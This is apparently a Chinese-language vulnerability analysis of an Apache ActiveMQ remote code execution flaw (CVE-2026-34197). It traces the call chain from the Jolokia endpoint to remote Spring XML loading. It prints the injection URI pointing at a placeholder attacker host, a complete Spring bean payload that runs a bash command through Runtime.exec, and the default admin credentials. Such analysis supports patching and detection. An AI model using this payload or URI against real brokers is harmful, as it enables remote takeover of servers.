漏洞概述

项目 内容
漏洞编号 CVE-2026-34197
影响版本 Apache ActiveMQ Broker < 5.19.4,6.0.0 ~ 6.2.3;
Apache ActiveMQ All < 5.19.4,6.0.0 ~ 6.2.3;
Apache ActiveMQ < 5.19.4,6.0.0 ~ 6.2.3
漏洞类型 远程代码执行(RCE)
攻击向量 网络(HTTP)
所需权限 低权限(默认凭据 admin:admin)
漏洞本质 Jolokia JMX 接口暴露 + vm:// URI 参数注入 + XBean Spring 远程配置加载

漏洞形成原因

ActiveMQ支持Broker联邦网络,多个Broker通过NetworkConnector互相桥接,消息可以在broker之间自动转发。比如生产者连接BrokerA发送消息,消费者连接BrokerB消费消息,Network Bridge会自动将消息从A转发到B。 攻击者调用addNetworkConnector添加一条连接["static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"],首先规定连接的Broker发现方式是static,即手动指定连接uri。这个时候指定vm://引用一个不存在的代理时,会自动创建,并且还接受一个BrokerConfig参数,支持指定配置方式(==支持从远程加载==),config中指定xbeanFactory用于配置文件是xml的形式,并且会直接解析配置文件中的xml内容,导致远程代码执行。


源码调试

参考 https://blog.atoposx.com/archives/019d8a0e-a540-752d-94c1-e2c3fa198bcb


详细利用步骤分析

1. 入口点:Jolokia HTTP-JMX 桥接

1.1 Jolokia Servlet 注册

文件: assembly/src/release/webapps/api/WEB-INF/web.xml:49

<servlet>
    <servlet-name>jolokia-agent</servlet-name>
    <servlet-class>org.jolokia.server.core.http.AgentServlet</servlet-class>
    <init-param>
        <param-name>policyLocation</param-name>
        <param-value>${prop:jolokia.conf}</param-value>
    </init-param>
    <init-param>
        <param-name>allowErrorDetails</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
    <servlet-name>jolokia-agent</servlet-name>
    <url-pattern>/jolokia/*</url-pattern>
</servlet-mapping>

Jolokia 以 Servlet 形式部署在 /api/jolokia/* 路径,将 HTTP 请求转换为 JMX 调用。

1.2 Jolokia 访问控制策略

文件: assembly/src/release/conf/jolokia-access.xml

<restrict>
  <!-- 仅允许 read/list/version/search,默认禁止 exec -->
  <commands>
    <command>read</command>
    <command>list</command>
    <command>version</command>
    <command>search</command>
  </commands>

  <allow>
    <!-- 关键:对 org.apache.activemq:* 放开所有操作 -->
    <mbean>
      <name>org.apache.activemq:*</name>
      <attribute>*</attribute>
      <operation>*</operation>   <!-- 允许所有 exec 操作 -->
    </mbean>
  </allow>
</restrict>

image.png

<allow> 块中对 org.apache.activemq:* 的所有 MBean 开放了全部操作(<operation>*</operation>),这覆盖了默认的 exec 禁止规则,使得攻击者可以调用任意 ActiveMQ MBean 方法,包括危险的 addNetworkConnector

注意:请求中需要携带 Origin 头,因为 jolokia-access.xml 中配置了 <strict-checking/>,要求请求必须包含合法的 Origin/Referer 头。


2. JMX 接口层:BrokerViewMBean → BrokerView

2.1 MBean 接口声明

文件: activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java:259 image.png

接口通过 JMX 暴露,Jolokia 将 HTTP 请求中的 operation 字段映射到addNetworkConnector方法。

步入addNetworkConnector()

2.2 JMX 实现类

文件: activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java:411 image.png discoveryAddress 参数(解析的arguments请求参数)被原样传入 brokerService.addNetworkConnector()connector.start() 会立即触发连接建立流程。


3. Broker 层

3.1 BrokerService 字符串转 URI

image.png discoveryAddress 参数直接提交作为URI image.png 直接构造DiscoveryNetworkConnector

步入DiscoveryNetworkConnector()->setUri()->DiscoveryAgentFactory.createDiscoveryAgent()->tf.doCreateDiscoveryAgent()->doCreateDiscoveryAgent()


4. Discovery 层:static:() 复合 URI 解析

4.1 SimpleDiscoveryAgentFactory 解析复合 URI

文件: activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgentFactory.java:32 image.png doCreateDiscoveryAgent()中会解析uri,解析出scheme和components两个参数 image.png 其中scheme: static,components: [vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml]

4.2 SimpleDiscoveryAgent 启动时触发服务发现

文件: activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java:86 注册完rc后,会启动connector的连接,启动连接器后会触发服务发现。它会遍历所有预配置的服务地址,对每一个地址触发一个onServiceAdd事件,通知监听器“发现了一个新的远程Broker服务” image.png

4.3 DiscoveryNetworkConnector 处理服务发现事件

文件: activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java:82 image.png 当收到“发现新服务”事件后,DiscoveryNetworkConnector会尝试建立到该服务的Transport连接,它首先会做几个检查:

  1. 是否是回环连接
  2. 连接过滤器是否允许
  3. 是否重复事件 image.png

5. Transport 层:vm:// URI 触发 brokerConfig 加载

5.1 VMTransportFactory 提取 brokerConfig 参数

TransportFactory 也是 SPI 机制,根据 URI 的 scheme 查找对应的 TransportFactory。vm scheme 对应 VMTransportFactory image.png 文件: activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java:60 提取brokerconfig并创建broker image.png

config是vm://的形式不是broker://,所以走else分支创建 image.png 正常情况下,config参数的设计意图是允许开发者在嵌入式场景中指定Broker的配置文件路径,比如vm://localhost?brokerConfig=xbean:activemq.xml(加载 classpath 中的本地配置),但是在该漏洞中攻击者将config配置指定成了远程的xml脚本,就会从远程地址中获取配置并解析其中的xml字段。 image.png 调用createBroker进行broker的创建。BrokerFactory是一个工厂分发器,通过SPI机制查找创建方式。 ActiveMQ支持多种配置格式,例如:

  • broker:// 纯代码配置
  • xbean: Spring XML配置
  • properties: 属性文件配置 这里传入的brokerURI的scheme参数是xbean,那么就会实例化XBeanFactory并调用它的createBroker()方法 image.png

6. BrokerFactory 层:SPI 机制分发 xbean: scheme

6.1 BrokerFactory 根据 scheme 查找处理器

文件: activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java:34

image.png image.png


7. XBean 层:远程 HTTP 加载 Spring XML

7.1 XBeanBrokerFactory 解析 URI 并加载远程资源

文件: activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java:60 XBeanBrokerFactory 的职责是从 Spring XML 配置文件中加载 BrokerService 实例。它先去掉 xbean: 前缀得到实际的资源路径, image.png 然后通过 Utils.resourceFromString() 将路径转为 Spring Resource 对象 image.png ResourceXmlApplicationContext 是 XBean 提供的 Spring ApplicationContext 实现。构造函数执行时会:

  1. 通过 UrlResource 发起 HTTP GET 请求到 http://ATTACKER:8888/payload.xml
  2. 下载 XML 内容
  3. 用 XmlBeanDefinitionReader 解析 XML 中的所有bean定义
  4. 实例化所有非 lazy-init 的 Bean — 这是 Spring 容器的默认行为

8. Spring XML 执行层:Bean 实例化触发 RCE

8.1 payload.xml 内容

攻击者在 HTTP 服务器上托管的 payload.xml

<?xml version="1.0" encoding="UTF-8"?>  
<beans xmlns="http://www.springframework.org/schema/beans"  
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
       xsi:schemaLocation="http://www.springframework.org/schema/beans  
       http://www.springframework.org/schema/beans/spring-beans.xsd">  
​  
    <bean id="exec"  
        class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">  
    <!-- 第一步:获取 Runtime 实例 -->  
    <property name="targetObject">  
      <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">  
        <property name="targetClass" value="java.lang.Runtime"/>  
        <property name="targetMethod" value="getRuntime"/>  
      </bean>  
    </property>  
    <!-- 第二步:调用 exec() 方法 -->  
    <property name="targetMethod" value="exec"/>  
    <property name="arguments">  
      <list>  
        <array value-type="java.lang.String">  
          <value>/bin/bash</value>  
          <value>-c</value>  
          <value>COMMAND_HERE</value>  <!-- 替换为实际命令 -->  
        </array>  
      </list>  
    </property>  
  </bean>  
​  
</beans>

8.2 执行原理

MethodInvokingFactoryBean 是 Spring 内置的工厂 Bean,在 Spring 容器初始化时(new ResourceXmlApplicationContext(resource))会自动实例化所有 Bean。实例化 exec Bean 时,Spring 会:

  1. 先实例化内嵌 Bean → 调用 Runtime.getRuntime() 获取 Runtime 实例
  2. 再调用 targetObject.exec(new String[]{"/bin/bash", "-c", "COMMAND_HERE"})